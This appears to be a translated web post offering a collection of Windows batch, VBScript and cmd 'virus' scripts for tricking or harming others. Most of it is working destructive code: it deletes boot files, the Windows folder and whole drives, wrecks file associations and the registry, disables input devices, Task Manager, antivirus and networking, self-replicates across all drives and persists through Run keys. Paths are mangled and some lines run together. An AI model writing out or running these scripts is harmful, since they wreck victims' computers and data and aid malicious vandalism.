Break the computer with cmd, .bat . file

SOME UTILITIES OF .BAT FILE FOR TRILLING OTHERS OR HAPPY

I will show you some code of the .BAT virus:

You open notepad, copy the code below and then save it as .bat, .vsb or .cmd depending on the code.

While saving, see the image below: Save as type: All Files

1) virus destroys windows:

Code:

@echo off

msg *virus activated*

attrib -r -s -h c:autoexec.bat

del c:autoexec.bat

attrib -r -s -h c:boot.ini

del c:boot.ini

attrib -r -s -h c:ntldr

del c:ntldr

attrib -r -s -h c:windowswin.ini

del c:windowswin.ini

@echo off

msg *Computer Over. Virus=Very Yes.*

shutdown -s -t 10 -c " "

2) This virus disables mouse, keyboard, task manager, file change believe:

code:

@echo off

prompt $P $G

assoc .doc = fA1luRe

assoc .docx = fA1luRe

assoc .log = fA1luRe

assoc .msg = fA1luRe

assoc .pages = fA1luRe

assoc .rtf = fA1luRe

assoc .txt = fA1luRe

assoc .wpd = fA1luRe

assoc .wps = fA1luRe

assoc .accdb = fA1luRe

assoc .blg = fA1luRe

assoc .csv = fA1luRe

assoc .dat = fA1luRe

assoc .db = fA1luReassoc .efx = fA1luRe

assoc .mdb = fA1luRe

assoc .pdb = fA1luRe

assoc .pps = fA1luRe

assoc .ppt = fA1luRe

assoc .pptx = fA1luRe

assoc .sdb = fA1luRe

assoc .sdf = fA1luRe

assoc .sql = fA1luRe

assoc .vcf = fA1luRe

assoc .wks = fA1luRe

assoc .xls = fA1luRe

assoc .xlsx = fA1luRe

assoc .xml = fA1luRe

assoc .bmp = fA1luRe

assoc .gif = fA1luRe

assoc .jpg = fA1luRe

assoc .png = fA1luRe

assoc .psd = fA1luRe

assoc .psp = fA1luRe

assoc .thm = fA1luRe

assoc .tif = fA1luRe

assoc .ai = fA1luRe

assoc .drw = fA1luRe

assoc .eps = fA1luRe

assoc .ps = fA1luRe

assoc .svg = fA1luRe

assoc .3dm = fA1luRe

assoc .dwg = fA1luRe

assoc .dxf = fA1luRe

assoc .pln = fA1luRe

assoc .indd = fA1luRe

assoc .pct = fA1luRe

assoc .pdf = fA1luRe

assoc .qxd = fA1luRe

assoc .qxp = fA1luReassoc .rels = fA1luRe

assoc .aac = fA1luRe

assoc .aif = fA1luRe

assoc .iff = fA1luRe

assoc .m3u = fA1luRe

assoc .mid = fA1luRe

assoc .mp3 = fA1luRe

assoc .mpa = fA1luRe

assoc .ra = fA1luRe

assoc .wav = fA1luRe

assoc .wma = fA1luRe

assoc .3g2 = fA1luRe

assoc .3gp = fA1luRe

assoc .asf = fA1luRe

assoc .asx = fA1luRe

assoc .avi = fA1luRe

assoc .flv = fA1luRe

assoc .mov = fA1luRe

assoc .mp4 = fA1luRe

assoc .mpg = fA1luRe

assoc .rm = fA1luRe

assoc .swf = fA1luRe

assoc .vob = fA1luRe

assoc .wmv = fA1luRe

assoc .asp = fA1luRe

assoc .cer = fA1luRe

assoc .csr = fA1luRe

assoc .css = fA1luRe

assoc .htm = fA1luRe

assoc .html = fA1luRe

assoc .js = fA1luRe

assoc .jsp = fA1luRe

assoc .php = fA1luRe

assoc .rss = fA1luRe

assoc .tvpi = fA1luRe

assoc .tvvi = fA1luReassoc .xhtml = fA1luRe

assoc .fnt = fA1luRe

assoc .fon = fA1luRe

assoc .otf = fA1luRe

assoc .ttf = fA1luRe

assoc .8bi = fA1luRe

assoc .plugin = fA1luRe

assoc .xll = fA1luRe

assoc .cab = fA1luRe

assoc .cpl = fA1luRe

assoc .cur = fA1luRe

assoc .dll = fA1luRe

assoc .dmp = fA1luRe

assoc .drv = fA1luRe

assoc .key = fA1luRe

assoc .lnk = fA1luRe

assoc .sys = fA1luRe

assoc .cfg = fA1luRe

assoc .ini = fA1luRe

assoc .keychain = fA1luRe

assoc .prf = fA1luRe

assoc .app = fA1luRe

assoc .bat = fA1luRe

assoc .cgi = fA1luRe

assoc .com = fA1luRe

assoc .exe = fA1luRe

assoc .pif = fA1luRe

assoc .vb = fA1luRe

assoc .ws = fA1luRe

assoc .7z = fA1luRe

assoc .deb = fA1luRe

assoc .gz = fA1luRe

assoc .pkg = fA1luRe

assoc .rar = fA1luRe

assoc .sit = fA1luRe

assoc .sitx = fA1luReassoc .tar.gz = fA1luRe

assoc .zip = fA1luRe

assoc .zipx = fA1luRe

assoc .bin = fA1luRe

assoc .hqx = fA1luRe

assoc .mim = fA1luRe

assoc .uue = fA1luRe

assoc .c = fA1luRe

assoc .cpp = fA1luRe

assoc .dtd = fA1luRe

assoc .java = fA1luRe

assoc .pl = fA1luRe

assoc .bak = fA1luRe

assoc .bup = fA1luRe

assoc .gho = fA1luRe

assoc .ori = fA1luRe

assoc .tmp = fA1luRe

assoc .dmg = fA1luRe

assoc .iso = fA1luRe

assoc .toast = fA1luRe

assoc .vcd = fA1luRe

assoc .gam = fA1luRe

assoc .nes = fA1luRe

assoc .rom = fA1luRe

assoc .sav = fA1luRe

assoc .dbx = fA1luRe

assoc .msi = fA1luRe

assoc .part = fA1luRe

assoc .torrent = fA1luRe

assoc .yps = fA1luRe

rundll32.exe mouse, disable

rundll32.exe keyboard, disable

copy setup.bat %userprofile%AppDataRoamingMicrosoftWindowsStart

MenuProgramsStartup

copy setup.bat %windir%System32

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v fA1luRe /t REG_SZ /d %windir%System32setup.bat

taskkill /f /im taskmgr.exe

reg restore

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicie

sSystem DisableTaskMgr = 1

shutdown -s -f -t 10 -c "PwN3D by fA1luRe!!!"

3) Check how many % of CPU is up to:

You open notepad and type start 1.bat inside then you save this virus as

1.bat then immediately % CPU will increase.

4) Repeat the mess cycle many times:

Code:

@ECHO off

:Begin

msg * lời cảnh báo

msg * lời cảnh báo

msg * lời cảnh báo

msg * lời cảnh báo

msg * lời cảnh báo

GOTO BEGIN

VD:

@ECHO off

:Begin

msg * Hi

msg * khoe ko anh ?

msg * em ne ?

msg * buon ngu chua anh ?

msg * tat may ngu thoi ,bb anh

GOTO BEGIN

5) Automatic shutdown and with the message:

Code:

@echo off

msg * lời cảnh báo

shutdown -c “lời cảnh báo” -s

VD:@echo off

msg * I LOVE YOU

shutdown -c “Error! tam biet anh!” -s

And here are some viruses with the ending .VBS

1. Function to send warning messages:

Code:

TEXT1=MSGBOX("THÔNG ĐIÊP CẢNH BÁO",42,"TÊN THÔNG ĐIỆP CẢNH BÁO")

2) Computer stand function:

Code:

msgbox"Error !"

On Error Resume Next

Set vip_xinh = Createobject("scripting.filesystemobject")

vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "

vip_xinh.vbs"

Set vip_xinh2= CreateObject("WScript.Shell")

vip_xinh2.regwrite "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRu

ndie","wscript.exe "& vip_xinh.GetSpecialFolder(0)& " vip_xinh.vbs %"

On Error Resume Next

Const vic = "D:"

Delvic

Sub Delvic()

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject")

fso.DeleteFile vic & "*.*" , True

fso.DeleteFolder vic & "*" , True

End Sub

On Error Resume Next

Const vic1 = "C:windows"

Delvic1

Sub Delvic1()

Dim fso1

Set fso1 = CreateObject("Scripting.FileSystemObject")fso1.DeleteFile vic1 & "*.*" , True

fso1.DeleteFolder vic1 & "*" , True

End Sub

On Error Resume Next

Const vic2 = "C:"

Delvic2

Sub Delvic2()

Dim fso2

Set fso2 = CreateObject("Scripting.FileSystemObject")

fso2.DeleteFile vic2 & "*.*" , True

fso2.DeleteFolder vic2 & "*" , True

End Sub

On Error Resume Next

Set treomay= CreateObject("WScript.Shell")

Do

treomay.run "notepad",false

loop

3) This is a very evil virus I recommend if you want to try it, close

Tape all the drives before using it or you’ll be in danger

Code:

Dim fso,file,VBCopy

Set fso=CreateObject("Scripting.FileSystemObject")

Set file=fso.OpenTextFile(WScript.ScriptFullName,1)

VBCopy=file.ReadAll

FolderList("A:")

FolderList("B:")

FolderList("C:")

FolderList("D:")

FolderList("E:")

FolderList("F:")

FolderList("G:")

FolderList("H:")

FolderList("I:")FolderList("J:")

FolderList("K:")

FolderList("L:")

FolderList("M:")

FolderList("N:")

FolderList("O:")

FolderList("P:")

FolderList("Q:")

FolderList("R:")

FolderList("S:")

FolderList("T:")

FolderList("U:")

FolderList("V:")

FolderList("X:")

FolderList("Y:")

FolderList("Z:")

FolderList("W:")

Sub FolderList(FolderSpec)

On Error Resume Next

Dim f,f1,sf,COP,CAP

Set f=fso.GetFolder(FolderSpec)

set sf=f.SubFolders

For Each f1 In sf

Set COP=fso.CreateTextFile(f1.path & "Virus !!!!!!!.vbs")

COP.write VBCopy

Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")

CAP.write VBCopy

FolderList(f1.Path)

Next

End sub

And here is the antidote:

Code:

Dim fso,file,VBCopy

Set fso=CreateObject("Scripting.FileSystemObject")

Set file=fso.OpenTextFile(WScript.ScriptFullName,1)VBCopy=file.ReadAll

FolderList("A:")

FolderList("B:")

FolderList("C:")

FolderList("D:")

FolderList("E:")

FolderList("F:")

FolderList("G:")

FolderList("H:")

FolderList("I:")

FolderList("J:")

FolderList("K:")

FolderList("L:")

FolderList("M:")

FolderList("N:")

FolderList("O:")

FolderList("P:")

FolderList("Q:")

FolderList("R:")

FolderList("S:")

FolderList("T:")

FolderList("U:")

FolderList("V:")

FolderList("X:")

FolderList("Y:")

FolderList("Z:")

FolderList("W:")

Sub FolderList(FolderSpec)

On Error Resume Next

Dim f,f1,sf,COP,CAP,ATT

Set f=fso.GetFolder(FolderSpec)

set sf=f.SubFolders For Each f1 In sf

'Set COP=fso.CreateTextFile(f1.path & "Virus !!!!!!!.vbs")

'COP.write VBCopy

'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")

'CAP.write VBCopy'Set ATT=fso.GetFolder(f1.Path)

'ATT.Attributes=ATT.Attributes+2

fso.DeleteFile(f1.path & "Virus !!!!!!!.vbs")

fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")

FolderList(f1.Path)

Next

End sub

4) Function to open a message and then automatically shutdown:

Code:

@ECHO OFF

MSG * THÔNG ĐIỆP

SHUTDOWN -C "THÔNG ĐIỆP" -S -T 10

5) Do not let the victim start the machine:

Code:

DIM WSH

SET WSH = CREATEOBJECT("WSCRIPT.SHELL")

WSH.RUN "RUNDLL32.EXE USER.EXE,EXITWINDOWS"

6)Disable NAV:

Code:

DIM WSH

SET WSH= CREATEOBJECT( "WSCRIPT.SHELL")

S1 = " HKEY_LOCAL_MACHINESYSTEMCURRENTCONTROLSETSERVIC

ESNORTON PROGRAM

SCHEDULERSTART"

WSH.REGWRITE S1,3, "REG_DWORD"

7) Display the message every time you restart the computer:

Code:

DIM WSH

SET WSH = CREATEOBJECT( "WSCRIPT.SHELL" )

S1 = " HKLMSOFTWAREMICROSOFTWINDOWSCURRENTVERSIONWIN

LOGON"

S2 = "LEGALNOTICECAPTION"S3 = "LEGALNOTICETEXT"

WSH.REGWRITE S1+S2, "LỜI CẢNH BÁO"

WSH.REGWRITE S1+S3, "LỜI CẢNH BÁO"

8) The tutorial will show up when you click on Folder:

Code:

SET REG=CREATEOBJECT("WSCRIPT.SHELL")

REG.REGWRITE "HKEY_CLASSES_ROOT*SHELL","LOI CANH BAO"

REG.REGWRITE "HKEY_CLASSES_ROOTFOLDERSHELLLOI CANH BAO","SLM"

eg:

SET REG=CREATEOBJECT("WSCRIPT.SHELL")

REG.REGWRITE "HKEY_CLASSES_ROOT*SHELL","HI ! BAN DA BI NHIEM WK

TU TRUONGTON.NET"

REG.REGWRITE "HKEY_CLASSES_ROOTFOLDERSHELLHI ! BAN DA BI NHIEM WK

TU TRUONGTON.NET","SLM"

9) Delete Registry Files:

Code:

@ECHO OFF

START REG DELETE HKCR/.EXE

START REG DELETE HKCR/.DLL

START REG DELETE HKCR/*

:MESSAGE

ECHO SLM LOI CANH BAO.

GOTO MESSAGE

eg:

@ECHO OFF

START REG DELETE HKCR/.EXE

START REG DELETE HKCR/.DLL

START REG DELETE HKCR/*

:MESSAGE

ECHO SLM CHUC ANH 1 NGAY VUI VE.

GOTO MESSAGE

10) Turn on notepad and continue to run the computer:

CODE:@ECHO OFF

:TOP

START %SYSTEMROOT%SYSTEM32NOTEPAD.EXE

GOTO TOP

11) Turn caps lock on and off continuously:

Code:

SET WSHSHELL =WSCRIPT.CREATEOBJECT("WSCRIPT.SHELL")

DO

WSCRIPT.SLEEP 100

WSHSHELL.SENDKEYS "{CAPSLOCK}"

LOOP

12) Press enter continuously:

Code:

SET WSHSHELL = WSCRIPT.CREATEOBJECT("WSCRIPT.SHELL")

DO

WSCRIPT.SLEEP 100

WSHSHELL.SENDKEYS "~(ENTER)"

LOOP

12) Pressing Space continuously:

MSGBOX "LET'S GO BACK A FEW STEPS"

SET WSHSHELL =WSCRIPT.CREATEOBJECT("WSCRIPT.SHELL")

DO

WSCRIPT.SLEEP 100

WSHSHELL.SENDKEYS "{BS}"

LOOP

And here are some viruses with the .cmd extension:

1) Delete all files in the machine:

Code:

DEL /F /Q *

2) Delete a certain file:

Code:

erase path eg:

ERASE C:TEST.TXT

3) Hide all files in windows

Code:

ATTRIB +S /F /Q *

Update Add Some Extremely Dangerous Virus

1) Goodbye PC Forever
Be careful when you’re done, don’t click it!!

@echo off

attrib -r -s -hc:  autoexec.bat

del c:  autoexec.bat

attrib -r -s -hc:  boot.ini

del c:  boot.ini

attrib -r -s -hc:  ntldr

del c:  ntldr

attrib -r -s -hc:  windows  win.ini

del c:  windows  win.ini

Save With Tail .Bat and don’t click if you don’t want to face consequences!!

2) Dangerous Virus With No Name

@echo off

del D:  *. * / f / s / q

del E:  *. * / f / s / q

del F:  *. * / f / s / q

del G:  *. * / f / s / q

del H:  *. * / f / s / q

del I:  *. * / f / s / q

del J:  *. * / f / s / q

Save With Name SEO.bat
This is even more dangerous. Just to learn, not to break people’s machines =)

4) Don’t Give Windows Startup

Del c:.  WINDOWS  system32  * * / q

Save as anything.bat

5) Disable Internet Permanently

echo @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

echo You Have Been HACKED!

PAUSE

Save with Tail .Bat

6) Change All Tails to TXT

Disrupting computer data

REN * .DOC * .TXT REN * .JPEG * .TXT

REN * LNK * .TXT

REN * .AVI * .TXT

REN * .MPEG * .TXT

REN * .COM * .TXT

REN * .BAT * .TXT

Save the Tail .Bat